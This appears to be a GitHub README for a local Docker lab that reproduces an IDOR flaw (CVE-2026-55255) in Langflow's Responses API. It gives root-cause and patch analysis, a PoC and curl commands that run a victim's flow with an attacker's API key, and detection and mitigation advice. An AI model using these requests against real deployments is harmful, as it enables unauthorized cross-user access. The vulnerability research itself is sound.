rootdirective-sec/CVE-2026-55255-Lab
GitHub: rootdirective-sec/CVE-2026-55255-Lab
一个基于 Docker 的本地实验环境,用于复现和验证 Langflow 平台 CVE-2026-55255 IDOR 漏洞在受影响版本与已修复版本之间的 HTTP 行为差异。
Stars: 0 | Forks: 0
# CVE-2026-55255 - Langflow `/api/v1/responses` 中的 IDOR 漏洞
## 执行摘要
本仓库包含一个本地 Docker 实验环境,用于复现和验证 CVE-2026-55255,这是一个影响 Langflow 兼容 OpenAI 的 Responses API 的不安全直接对象引用(IDOR)漏洞。
Langflow 是一个用于构建和部署 AI 驱动的智能体和工作流的开源平台。受漏洞影响的行为涉及 `/api/v1/responses` endpoint,经过身份验证的攻击者可以将其他用户的 flow UUID 作为 `model` 值提供,从而导致 Langflow 执行属于该受害者的 flow。
本实验对比了两个 Langflow 版本:
| 服务 | Langflow 版本 | 用途 | URL |
| ------- | ----------------: | ---------------------------- | --------------------- |
| vuln | 1.9.0 | 受漏洞影响的对比目标 | http://localhost:7860 |
| patched | 1.9.1 | 已修复的对比目标 | http://localhost:7861 |
此本地实验环境中演示的 HTTP 验证路径为:
```
Authenticated attacker API key
→ POST /api/v1/responses
→ request body sets model to victim-owned flow UUID
→ vulnerable target executes the victim-owned flow
→ patched target returns flow_not_found and does not execute the victim-owned flow
```
在受漏洞影响的目标中,攻击者拥有的 API key 可以执行受害者拥有的 flow,并且响应包含受害者专属标记:
```
VICTIM_ONLY_CONTEXT_55255_VULN
```
在已修复的目标中,相同的跨用户请求不会返回受害者标记,而是返回一个 OpenAI 样式的错误主体:
```
{"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
```
本实验环境使用 Langflow 1.9.0 和 Langflow 1.9.1 验证了受漏洞影响与已修复版本的 HTTP 行为。
本实验环境刻意限定在本地 Docker 服务范围内。它不针对外部系统,也不包含凭证窃取、数据库导出、破坏性 payload、外部回调、恶意软件、持久化或后渗透活动。
## 已验证事实
| 声明 | 证据 | 如何在本实验中进行验证 |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 影响 Langflow 的 `/api/v1/responses` endpoint。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2 描述了 `/api/v1/responses` 中的一个 IDOR。 | 查看“参考”部分,并对两个本地目标运行 PoC。 |
| GitHub 安全公告列出受影响版本为 `< 1.9.1`,已修复版本为 `1.9.1`。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2。 | 比较 `docker-compose.yml` 中受漏洞影响和已修复目标的版本。 |
| 一些下游漏洞来源对确切的修复版本存在分歧。 | GitHub/GitLab 列出 `1.9.1` 为已修复;一些下游情报页面提到 `1.9.2` 或包含混合措辞。 | 查看“参考”部分,并依赖实验验证来确认已测试的 1.9.1 行为。 |
| 本实验使用 Langflow 1.9.0 作为受漏洞影响的对比目标。 | `vuln` 服务使用 `langflowai/langflow:1.9.0`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| 本实验使用 Langflow 1.9.1 作为已修复的对比目标。 | `patched` 服务使用 `langflowai/langflow:1.9.1`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| Langflow 的 Responses API 使用 `POST /api/v1/responses`。 | Langflow 文档描述了兼容 OpenAI 的 Responses API endpoint。 | 针对运行 PoC 或手动 curl 请求 `/api/v1/responses`。 |
| Langflow 的 Responses API 接受 flow ID 作为 `model` 值。 | Langflow 文档指出 `model` 值会被替换为 `flow_id`。 | 检查 PoC 请求主体。 |
| Langflow API 请求需要通过 `x-api-key` 提供 API key。 | Langflow API 文档描述了使用 `x-api-key` header 进行 API key 身份验证。 | 检查 PoC 请求 header。 |
| PoC 是基于请求的。 | `poc/validate_idor.py` 发送 HTTP 请求,不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/validate_idor.py`。 |
| 受漏洞影响的目标会使用攻击者拥有的 API key 执行受害者拥有的 flow。 | 受漏洞影响的响应返回 `VICTIM_ONLY_CONTEXT_55255_VULN`。 | 使用受害者 flow ID 和攻击者 API key 运行受漏洞影响的 PoC 命令。 |
| 已修复的目标阻止了相同的跨用户执行路径。 | 已修复的响应返回 `error.code = flow_not_found` 且不返回受害者标记。 | 使用受害者 flow ID 和攻击者 API key 运行已修复的 PoC 命令。 |
## 假设与未知情况
本实验使用 Langflow 1.9.0 作为受漏洞影响的对比目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 确定早于 1.9.1 的版本受到影响,并且本地测试确认了 1.9.0 中的受漏洞影响的行为。
本实验使用 Langflow 1.9.1 作为已修复的对比目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 列出 1.9.1 为已修复版本,并且本地测试确认 1.9.1 通过 `flow_not_found` 阻止了已测试的跨用户 `/api/v1/responses` 执行路径。
各来源之间存在版本差异。GitHub 和 GitLab 安全公告列出早于 1.9.1 的版本受到影响,而 1.9.1 为已修复版本。一些下游漏洞情报页面提到 1.9.2,或者在修复版本周围包含混合措辞。本仓库记录了这一差异,并直接验证了已测试的行为:
```
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
```
本实验假设攻击者已经知道受害者的 flow UUID。PoC 不会对 flow ID 进行暴力破解、枚举 flow,或尝试发现受害者的 flow ID。
本实验专注于以下项的可观察 HTTP 行为:
```
POST /api/v1/responses
```
具有以下请求形式:
```
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
实验演示了在受漏洞影响的目标中发生的未经授权的跨用户 flow 执行,以及在已修复目标中被阻止的行为。
本实验不演示:
* 暴力破解 flow UUID,
* flow ID 枚举,
* 凭证窃取,
* 数据库导出,
* 使用真实的 LLM 提供商 API key,
* 访问真实的生产数据,
* 外部回调,
* 远程命令执行,
* 恶意软件,
* 持久化,
* 或针对非实验系统的攻击。
## 根本原因摘要
CVE-2026-55255 的根本原因是 Langflow 的 flow 解析逻辑中存在授权缺口。
`/api/v1/responses` endpoint 通过 `model` 字段接受 flow UUID。在受漏洞影响的版本中,`get_flow_by_id_or_endpoint_name()` 内部的 UUID 查找路径可以直接通过主键加载 `Flow` 对象,而没有强制要求解析出的 `Flow.user_id` 与经过身份验证的 API key 用户相匹配。
受漏洞影响的行为可以概括为:
```
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads Flow by UUID
→ resolver does not enforce Flow.user_id == attacker_user.id
→ response endpoint executes the victim-owned flow
→ attacker receives victim flow output
```
已修复的行为可以概括为:
```
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
```
安全问题不在于攻击者可以使用自己的 flow 调用 `/api/v1/responses`。那是预期行为。问题在于,当提供受害者 flow UUID 时,低权限的经过身份验证的用户可以导致该 endpoint 执行属于另一个用户的 flow。
安全教训是:
```
Object lookup by UUID is not authorization.
Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
```
## 源代码分析
通过比较 Langflow `v1.9.0` 和 `v1.9.1` 确认了源代码级别的问题。
用于审查的已检出源代码 tag 为:
| 版本 | Git commit |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
相关的辅助函数是:
```
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
```
在受漏洞影响的 UUID 分支中,flow 是通过 ID 加载的:
```
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
```
与安全相关的缺失检查是:
```
flow.user_id == authenticated_user.id
```
如果没有所有者检查,即使一个有效的 flow UUID 属于另一个用户,它也足以解析出一个 `Flow` 对象。
已修复版本添加了对 `user_id` 的规范化,并在 UUID 路径上强制执行所有者范围限制:
```
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
```
重要的行为是:
```
if the flow exists
and the flow belongs to another user
then treat it as not found
```
这就是为什么已修复的实验响应会返回:
```
{"error":{"code":"flow_not_found"}}
```
而不是执行受害者拥有的 flow。
对于本实验,主要的受漏洞影响的行为是 `/api/v1/responses` 执行路径到达 `get_flow_by_id_or_endpoint_name()` 并在没有强制执行所有权的情况下解析了受害者拥有的 flow UUID。
补丁还强化了相关的 flow 执行路由。在 `endpoints.py` 中,以前将原始辅助函数作为 FastAPI 依赖项使用的路由已从:
```
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
```
更改为经过身份验证的包装器,例如:
```
async def get_flow_for_api_key_user(
flow_id_or_name: str,
api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> FlowRead:
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
```
这些包装器的更改是对诸如 `/api/v1/run*` 等其他 flow 执行路由的相关强化。它们确保辅助函数接收到经过身份验证的用户 ID,而不是依赖于普通的请求参数。本实验演示的核心修复仍然是 `get_flow_by_id_or_endpoint_name()` 内部的解析器端所有权检查。
因此,源代码级别的修复包含两个相关部分:
```
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
```
## 源代码补丁摘要
Langflow 1.9.1 通过将跨用户查找视为未找到,并确保相关的 flow 执行路由将经过身份验证的用户上下文传递给解析器,从而强化了易受攻击的 flow 解析路径。
核心的已修复逻辑是:
```
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
```
补丁还为需要解析 flow 的路由添加了经过身份验证的包装器依赖项:
```
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
```
与安全相关的更改是:
```
Before:
flow UUID
→ session.get(Flow, flow_id)
→ Flow object returned without owner scoping
→ downstream execution path can run victim-owned flow
After:
flow UUID
→ session.get(Flow, flow_id)
→ compare Flow.user_id with authenticated user id
→ cross-user result becomes None
→ shared not-found behavior fires
→ victim-owned flow is not executed
```
该补丁还减少了信息泄露。跨用户访问被视为未找到,而不是返回一个可能会揭示其他用户的 flow 是否存在的独特授权响应。
本实验将源代码审查和运行时验证分开:
```
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
```
## 实验架构
本实验通过 Docker Compose 运行两个隔离的 Langflow 目标。
```
.
├── docker-compose.yml
├── poc/
│ └── validate_idor.py
├── seed/
│ ├── Dockerfile
│ └── seed.py
├── src/
│ ├── langflow-1.9.0/
│ └── langflow-1.9.1/
├── state/
│ ├── patched.json
│ ├── patched.ready
│ ├── vuln.json
│ └── vuln.ready
└── README.md
```
`state/` 文件由种子服务在实验启动期间生成。`src/` 目录包含用于源代码差异验证的已检出的 Langflow 源代码树。
这两个 Langflow 服务使用不同的应用程序版本和独立的容器内 SQLite 数据库:
| 服务 | 组件 | 版本 / 角色 |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | 受漏洞影响的目标应用程序 |
| patched | Langflow | 已修复的对比应用程序 |
| seed-vuln | Python | 创建本地用户、API key、flow |
| seed-patched | Python | 创建本地用户、API key、flow |
默认公开的服务:
```
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
```
本实验使用固定版本的 Langflow 镜像:
| 目标 | Langflow 版本 | 预期行为 |
| --------------------- | ----------------: | ----------------- |
| http://localhost:7860 | 1.9.0 | 攻击者 API key 可以执行受害者拥有的 flow |
| http://localhost:7861 | 1.9.1 | 跨用户受害者 flow 执行被阻止 |
种子服务在以下阶段自动运行:
```
docker compose up --build --wait
```
它们会创建:
```
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
```
种子生成的 `state/*.json` 文件提供了一次性的本地测试值,例如 API key 和 flow UUID。
PoC 不会读取 `state/*.json`。用户通过命令行参数提供目标 URL、API key、flow ID 和可选的预期标记。
本实验不会创建或修改受漏洞影响的 `/api/v1/responses` 路由。该路由由 Langflow 提供。
## 环境要求
* Docker Desktop 或 Docker Engine
* 支持 `--wait` 的 Docker Compose v2
* Python 3
* 用于本 README 中便捷命令的 `jq`
* 首次拉取 Docker 镜像期间的互联网访问权限
PoC 不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。
种子容器在内部安装了 Python `requests` 包。该包仅在实验设置期间由种子服务使用,PoC 不使用。
## 快速开始
从干净的状态启动实验:
```
docker compose down -v --remove-orphans
find state -type f \( -name "*.json" -o -name "*.ready" \) -delete
docker compose up --build --wait
```
检查服务状态:
```
docker compose ps
```
预期的健康服务:
```
cve-2026-55255-vuln
cve-2026-55255-patched
cve-2026-55255-seed-vuln
cve-2026-55255-seed-patched
```
预期的公开目标:
```
http://localhost:7860
http://localhost:7861
```
检查种子状态文件:
```
ls -la state
cat state/vuln.json | jq .
cat state/patched.json | jq .
```
预期的文件:
```
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
```
对受漏洞影响的目标运行基于请求的验证:
```
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
对已修复的目标运行基于请求的验证:
```
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
## PoC 用法
PoC 接受目标 URL、API key、flow ID 和可选的预期标记:
```
python3 poc/validate_idor.py \
--url \
--api-key \
--flow-id \
--expect-marker
```
必选选项:
| 选项 | 含义 |
| ------ | ------- |
|--url` | Langflow 基础 URL |
| `--api-key` | 在 `x-api-key` header 中使用的 API key |
| `--flow-id` | 用作 `model` 值的 flow UUID |
可选选项:
| 选项 | 含义 |
| ------ | ------- |
| `--expect-marker` | 如果目标 flow 执行,响应中预期的标记 |
PoC 发送以下 HTTP 请求:
```
POST /api/v1/responses
x-api-key:
Content-Type: application/json
```
请求主体:
```
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
PoC 是基于请求的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI、容器 API 或 Langflow 种子 API。
在本实验中,可以使用 `state/*.json` 将一次性的本地 API key 和 flow ID 复制到 PoC 命令中。PoC 本身不依赖这些文件。`state/*.json` 中的 API key 是一次性的本地实验 key;不要在这些命令中使用真实的生产 API key。
## 预期结果
### 受漏洞影响的目标
命令:
```
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
预期受漏洞影响的目标信号:
```
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7860
[FLOW_ID]
[API_KEY]
[REQUEST]
POST http://localhost:7860/api/v1/responses
x-api-key:
Content-Type: application/json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : True
expected marker : VICTIM_ONLY_CONTEXT_55255_VULN
marker found : True
[BODY]
... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
========================================================================================
[CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned.
FINAL: VULNERABLE_BEHAVIOR_OBSERVED
```
重要的受漏洞影响的信号是:
```
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
```
### 已修复的目标
命令:
```
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
预期已修复的目标信号:
```
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID]
[API_KEY]
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key:
Content-Type: application/json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
```
重要的已修复信号是:
```
attacker API key
+ victim flow UUID
+ no victim marker
+ error.code = flow_not_found
```
### 观察到执行但无标记
如果省略 `--expect-marker` 并且目标返回一个已完成的 Langflow 响应,PoC 会报告:
```
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
```
这意味着目标 flow 已执行,但 PoC 本身无法证明提供的 flow ID 属于另一个用户。必须通过实验种子数据、flow ID 的来源或其他授权证据来确认所有权。
## 验证工作原理
验证器向 Langflow Responses API endpoint 发送一个 HTTP POST 请求:
```
/api/v1/responses
```
该请求使用提供的 API key:
```
x-api-key:
```
请求主体使用提供的 flow UUID 作为 `model` 值:
```
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
预期受漏洞影响的行为:
```
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
```
预期已修复的行为:
```
request does not execute victim-owned flow
response does not contain victim marker
response indicates flow_not_found
```
在本实验中,Langflow 1.9.1 返回 `HTTP 200` 和一个 OpenAI 样式的 JSON 错误对象:
```
{"error":{"code":"flow_not_found"}}
```
这就是为什么 PoC 检查 JSON 错误代码,而不是假设 HTTP 传输状态必须是 404。
PoC 刻意只验证跨用户 flow 执行条件。它不尝试发现 flow ID、暴力破解 UUID、枚举用户、提取机密或触发外部服务。
## 使用 curl 进行手动 HTTP 复现
实验种子将一次性的本地值写入 `state/*.json`。这些命令使用这些本地值来构建 curl 请求。状态文件仅用于实验产物。
受漏洞影响的探测:
```
curl -i -sS -X POST \
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
```
预期受漏洞影响的结果:
```
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
```
已修复的探测:
```
curl -i -sS -X POST \
"$(jq -r '.public_url' state/patched.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
```
预期已修复的结果:
```
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
```
## 影响
在多用户或多租户的 Langflow 部署中,CVE-2026-55255 具有安全敏感性,因为如果已知受害者的 flow UUID,一个经过身份验证的用户可能能够执行另一个用户的 flow。
潜在的现实影响取决于受害者拥有的 flow 执行的具体操作。
可能的影响包括:
* 未经授权执行另一个用户的 AI 工作流,
* 暴露由受害者 flow 处理的数据,
* 访问受害者拥有的 prompt 或工作流输出,
* 使用受害者拥有的集成或配置的组件,
* 消耗与受害者关联的计算或 API 资源,
* 跨用户或跨租户的授权边界绕过,
* 以及通过 flow 输出进行信息泄露。
实际的可利用性取决于攻击者是否能获取有效的受害者 flow UUID。猜测 flow UUID 不是本实验的重点,PoC 也不会对 flow ID 进行暴力破解。
本实验仅演示了安全的授权边界失败:
```
attacker API key
+ victim flow UUID
+ victim-only marker returned
```
本实验不演示真实数据访问、真实机密访问、LLM 提供商 key 滥用、外部回调或后渗透。
## 检测和监控
潜在的指标包括经过身份验证的以下请求:
```
POST /api/v1/responses
```
可疑的请求模式:
```
x-api-key belongs to user A
model contains flow UUID owned by user B
```
高信号检测思路:
```
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
```
可能需要审查的应用层日志或遥测数据:
* API key 所有者,
* 请求路径,
* `model` 值,
* 解析出的 flow ID,
* 解析出的 flow 所有者,
* 响应错误代码,
* `flow_not_found` 响应,
* 来自 `/api/v1/responses` 的成功完成响应,
* 不寻常的跨用户 flow 执行尝试,
* 针对大量 flow UUID 的重复尝试,
* 以及低权限用户异常高的 API 使用率。
受漏洞影响的验证产物示例:
```
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
status: completed
error: null
output contains victim-only marker
```
已修复的验证产物示例:
```
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
```
建议的监控操作:
* 审查 `/api/v1/responses` 的 API 日志。
* 将 API key 所有者与请求的 flow 所有者相关联。
* 对跨用户 flow UUID 的使用发出警报。
* 审查针对 Responses API 的 `flow_not_found` 突发情况。
* 审查新创建或低权限用户异常高的 API 使用率。
* 审查可能暴露 flow UUID 的公开或共享渠道。
* 如果怀疑被滥用,轮换受影响的 API key。
* 审查受害者拥有的 flow,查看是否存在敏感的连接器、工具或数据源。
## 缓解和补丁说明
将 Langflow 升级到已修复的版本。
GitHub 安全公告 GHSA-qrpv-q767-xqq2 列出 Langflow 1.9.1 为 CVE-2026-55255 的修复版本。一些下游漏洞情报来源提到 1.9.2,或者在修复版本周围包含混合措辞。本实验验证了 Langflow 1.9.1 通过 `flow_not_found` 阻止了已测试的 `/api/v1/responses` 跨用户执行路径。对于生产环境,请更新到最新可用的 Langflow 版本,而不是止步于实验对比的版本。
建议的缓解步骤:
* 将 Langflow 升级到已修复或最新可用的版本。
* 确认安装的版本不在受影响范围内。
* 尽可能将 Langflow 的公开范围限制在受信任的网络内。
* 要求对 API 路由进行身份验证。
* 如果怀疑遭到利用,请审查并轮换 API key。
* 审查 flow 所有权和共享配置。
* 审查日志中是否存在跨用户的 `/api/v1/responses` 请求。
* 避免不必要地公开 flow UUID。
* 将反向代理或 WAF 拦截视为临时控制措施,而不是升级的替代品。
* 在多租户环境中,测试 API key 用户是否无法执行他们不拥有的 flow。
安全工程经验教训:
* 不要依赖对象 UUID 的保密性作为授权控制。
* 根据经过身份验证的主体划分对象查找范围。
* 在使用解析出的对象之前强制执行所有权检查。
* 当需要经过身份验证的上下文时,避免直接使用通用解析器辅助函数作为路由依赖项。
* 谨慎处理未找到的响应,以避免泄露对象的存在。
* 为跨用户对象访问添加回归测试。
## 安全边界
本实验仅供本地安全研究和受控演示使用。
请勿对您不拥有或没有明确授权测试的系统运行 PoC 或手动 curl 请求。
请勿在本实验中使用真实的生产凭证、客户数据、支付数据、API key、LLM 提供商 key、数据库凭证或生产机密。
预期范围仅限于本地 Docker 服务,例如:
```
http://localhost:7860
http://localhost:7861
http://127.0.0.1:7860
http://127.0.0.1:7861
```
PoC 是刻意设计为基于请求的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。
本实验不包含用于以下情况的 payload:
* flow UUID 暴力破解,
* 用户枚举,
* 凭证窃取,
* 数据库导出,
* LLM 提供商 key 滥用,
* 任意命令执行,
* 恶意软件,
* 持久化,
* 横向移动,
* 客户数据访问,
* 或外部回调。
目标是在受控环境中演示一个特定的技术条件:
```
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
```
## 参考
* CVE 记录:CVE-2026-55255
https://www.cve.org/CVERecord?id=CVE-2026-55255
* GitHub 安全公告:GHSA-qrpv-q767-xqq2
https://github.com/advisories/GHSA-qrpv-q767-xqq2
* GitLab 安全公告:CVE-2026-55255
https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
* Langflow Pull Request:fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832
https://github.com/langflow-ai/langflow/pull/12832
* Langflow OpenAI Responses API 文档
https://docs.langflow.org/api-openai-responses
* Langflow API Key 和身份验证文档
https://docs.langflow.org/api-keys-and-authentication
* Langflow API 参考示例
https://docs.langflow.org/api-reference-api-examples
* Langflow GitHub 仓库
https://github.com/langflow-ai/langflow
* Langflow Docker 镜像
https://hub.docker.com/r/langflowai/langflow
* GHSA-qrpv-q767-xqq2 的 Tenable 插件说明
https://www.tenable.com/plugins/container-security/443659
* Mondoo 漏洞情报:CVE-2026-55255
https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255
标签:API安全, CISA项目, Docker, IDOR, JSON输出, Modbus, 安全测试, 安全防御评估, 攻击性安全, 漏洞复现环境, 版权保护, 请求拦截, 逆向工具